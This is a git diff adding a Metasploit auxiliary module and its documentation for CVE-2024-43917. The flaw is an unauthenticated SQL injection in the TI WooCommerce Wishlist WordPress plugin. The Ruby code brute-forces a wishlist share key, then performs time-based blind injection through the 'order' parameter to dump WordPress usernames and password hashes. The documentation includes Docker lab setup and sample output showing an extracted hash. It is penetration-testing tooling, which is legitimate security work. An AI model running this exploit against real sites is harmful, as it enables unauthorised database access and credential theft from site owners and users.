diff --git a/documentation/modules/auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli.md new file mode 100644 index 000000000000..f98e47914331 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli.md @@ -0,0 +1,148 @@ +## Vulnerable Application + +The vulnerability affects the **TI WooCommerce Wishlist** plugin for WordPress, +versions **up to 2.8.2**, allowing **unauthenticated SQL injection** via specific parameters. +The **WooCommerce** plugin is also required for the setup. + +### Pre-requisites: +- **Docker** and **Docker Compose** installed. + +### Setup Instructions: + +1. **Download the Docker Compose file**: + Save the following content in a `docker-compose.yml` file: + +```yaml +version: '3.1' + +services: + wordpress: + image: wordpress:latest + restart: always + ports: + - 5555:80 + environment: + WORDPRESS_DB_HOST: db + WORDPRESS_DB_USER: chocapikk + WORDPRESS_DB_PASSWORD: dummy_password + WORDPRESS_DB_NAME: exploit_market + mem_limit: 512m + volumes: + - wordpress:/var/www/html + + db: + image: mysql:5.7 + restart: always + environment: + MYSQL_DATABASE: exploit_market + MYSQL_USER: chocapikk + MYSQL_PASSWORD: dummy_password + MYSQL_RANDOM_ROOT_PASSWORD: '1' + volumes: + - db:/var/lib/mysql + +volumes: + wordpress: + db: +``` + +2. **Start the Docker environment**: + Run the following command in the directory where you saved the `docker-compose.yml` file: + +```bash +docker-compose up -d +``` + +3. **Install WooCommerce and TI WooCommerce Wishlist Plugins**: + - Download the WooCommerce and TI WooCommerce Wishlist plugins: + +```bash +wget https://downloads.wordpress.org/plugin/woocommerce.9.3.3.zip +wget https://downloads.wordpress.org/plugin/ti-woocommerce-wishlist.2.8.2.zip +``` + + - Install the plugins by copying them into your WordPress container: + +```bash +unzip woocommerce.9.3.3.zip +docker cp woocommerce wordpress:/var/www/html/wp-content/plugins/ + +unzip ti-woocommerce-wishlist.2.8.2.zip +docker cp ti-woocommerce-wishlist wordpress:/var/www/html/wp-content/plugins/ +``` + +4. **Activate WooCommerce and TI WooCommerce Wishlist Plugins**: + - Navigate to `http://localhost:5555/wp-admin` in your browser, and activate both + **WooCommerce** and **TI WooCommerce Wishlist** plugins. + - Complete the WooCommerce setup wizard to ensure the plugin is properly + initialized, including configuring the site through the "Customize Site" option. + +## Verification Steps + +1. **Set up WordPress** with the vulnerable **TI WooCommerce Wishlist 2.8.2** and **WooCommerce** plugins. +2. **Start Metasploit** using `msfconsole`. +3. Use the appropriate module for the vulnerability: + +```bash + use auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli +``` + +4. Set the target's IP and URI: + +```bash + set RHOST + set TARGETURI / +``` + +5. **Run the module**: + +```bash + run +``` + +6. **Verify the SQL Injection**: + The SQL injection will attempt to retrieve or manipulate data from the WordPress database through the `order` parameter. + +## Options + +### PRODUCT_ID_MIN and PRODUCT_ID_MAX +These options specify the range of `product_id` values used to bruteforce the product +during the SQL injection attack. +The default range is from 1 to 100, but this can be adjusted based on your target. + +### COUNT +This option specifies the number of rows to retrieve from the database during the SQL injection attack. + +## Scenarios + +The following scenario demonstrates an SQL injection attack against a WordPress +installation running **TI WooCommerce Wishlist 2.8.2** with **WooCommerce** in a Docker environment. + +### Step-by-step Scenario + +```bash +msf6 auxiliary(scanner/http/wp_ti_woocommerce_wishlist_sqli) > run http://127.0.0.1:5555 + +[*] Testing Product IDs from 0 to 100, please wait... +[+] Share key found: e93cca +[*] Performing SQL Injection using share key: e93cca +[*] SQL Injection successful, retrieving user credentials... +[*] {SQLi} Executing (SELECT 4 FROM information_schema.tables WHERE table_name = 'wp_users') +[*] {SQLi} Encoded to (SELECT 4 FROM information_schema.tables WHERE table_name = 0x77705f7573657273) +[*] {SQLi} Time-based injection: expecting output of length 1 +[*] {WPSQLi} Retrieved default table prefix: 'wp_' +[*] {SQLi} Executing (select group_concat(CvjX) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) CvjX from wp_users limit 1) cUla) +[*] {SQLi} Encoded to (select group_concat(CvjX) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0x2f,0)),ifnull(user_pass,repeat(0x8c,0))) as binary) CvjX from wp_users limit 1) cUla) +[*] {SQLi} Time-based injection: expecting output of length 44 +[*] {WPSQLi} Dumped user data: +wp_users +======== + + user_login user_pass + ---------- --------- + chocapikk $P$BPdY0XccQT2nvSXE8bjsn1CERoF7eJ. + +[+] Loot saved to: /home/chocapikk/.msf4/loot/20240930123016_default_127.0.0.1_wordpress.users_970346.txt +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli.rb b/modules/auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli.rb new file mode 100644 index 000000000000..14b56e17a391 --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli.rb @@ -0,0 +1,110 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress::SQLi + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress TI WooCommerce Wishlist SQL Injection (CVE-2024-43917)', + 'Description' => %q{ + The TI WooCommerce Wishlist plugin <= 2.8.2 is vulnerable to an unauthenticated SQL injection, allowing attackers to retrieve sensitive information. + }, + 'Author' => [ + 'Rafie Muhammad', # Vulnerability Discovery + 'Valentin Lobstein' # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-43917'], + ['WPVDB', 'e994753e-ce18-48cf-8087-897ec8db2eef'], + ['URL', 'https://patchstack.com/articles/unpatched-sql-injection-vulnerability-in-ti-woocommerce-wishlist-plugin/'] + ], + 'Actions' => [ + ['Retrieve Share Key and Perform SQLi', { 'Description' => 'Retrieve share key and perform SQL Injection' }] + ], + 'DefaultAction' => 'Retrieve Share Key and Perform SQLi', + 'DefaultOptions' => { 'VERBOSE' => true, 'COUNT' => 1 }, + 'DisclosureDate' => '2024-09-25', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options [ + OptInt.new('PRODUCT_ID_MIN', [true, 'Minimum Product ID to bruteforce', 0]), + OptInt.new('PRODUCT_ID_MAX', [true, 'Maximum Product ID to bruteforce', 100]) + ] + end + + def get_share_key + min = datastore['PRODUCT_ID_MIN'] + max = datastore['PRODUCT_ID_MAX'] + print_status("Testing Product IDs from #{min} to #{max}, please wait...") + + (min..max).each do |product_id| + post_data = Rex::MIME::Message.new + post_data.add_part('', nil, nil, 'form-data; name="tinv_wishlist_id"') + post_data.add_part(product_id.to_s, nil, nil, 'form-data; name="product_id"') + post_data.add_part('addto', nil, nil, 'form-data; name="product_action"') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s + }) + + next unless res&.code == 200 + + json_body = res.get_json_document + wishlist_data = json_body['wishlists_data']['products'] + + if wishlist_data && !wishlist_data.empty? + share_key = json_body['wishlist']['share_key'] + return print_good("Share key found: #{share_key}") && share_key if share_key + end + end + + fail_with(Failure::NotFound, 'No valid product ID found.') + end + + def run_host(_ip) + share_key = get_share_key + print_status("Performing SQL Injection using share key: #{share_key}") + + @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload| + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => target_uri.path, + 'vars_get' => { + '_method' => 'GET', + 'order' => ",(SELECT #{payload})--" + }, + 'vars_post' => { + 'rest_route' => "/wc/v3/wishlist/#{share_key}/get_products" + }, + 'keep_cookies' => true + }) + + fail_with(Failure::Unreachable, 'Connection failed') unless res + end + + if @sqli.test_vulnerable + print_status('SQL Injection successful, retrieving user credentials...') + wordpress_sqli_initialize(@sqli) + wordpress_sqli_get_users_credentials(datastore['COUNT']) + else + fail_with(Failure::NotVulnerable, 'Target is not vulnerable to SQL injection.') + end + end +end